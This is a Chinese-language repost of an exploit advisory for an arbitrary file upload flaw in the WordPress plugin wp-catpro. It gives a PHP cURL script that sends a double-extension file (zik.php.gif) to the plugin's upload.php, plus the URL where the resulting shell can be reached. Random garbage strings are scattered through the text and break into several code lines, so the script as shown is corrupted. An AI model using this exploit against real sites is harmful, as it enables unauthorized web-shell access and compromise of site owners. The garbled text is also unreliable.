WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
# Z& g0 T5 r* ^#-----------------------------------------------------------------------
6 m( H" v8 ^: {; x) X) q
作者  => Zikou-16
邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####
. u+ h+ X8 _! @7 c7 B% ?, @& r
5 H6 o* h; Z. J; z#=> Exploit 信息:
------------------
# 攻击者可以上传 file/shell.php.gif
* r8 ]: Q) [4 f  y# ("jpg", "gif", "png")  // Allowed file extensions
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
; G7 n+ C" V9 J3 A% p) A; C" X# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
$ t  d3 |! h0 [; {0 v: }0 \* b& K------------------
8 q3 J  [7 o3 q8 I! E6 U  H+ Q
#=> Exploit
-----------
<?php

$uploadfile="zik.php.gif";
  `/ k8 b. k$ B! m& ]$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
- {& s; z# D) H* t, E7 scurl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
  _8 _* B) m- V+ @: ?'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
, B; A* W/ t; p3 V" @6 f( V2 |$postResult = curl_exec($ch);
5 s- l2 @9 T: G) S+ ]& lcurl_close($ch);

% Q* i! G% w% \1 `$ O4 Eprint "$postResult";
" k) r! l. g1 I: F' g
$ n# r, p# k( @! Q" Y: r0 eShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
phpinfo();
?>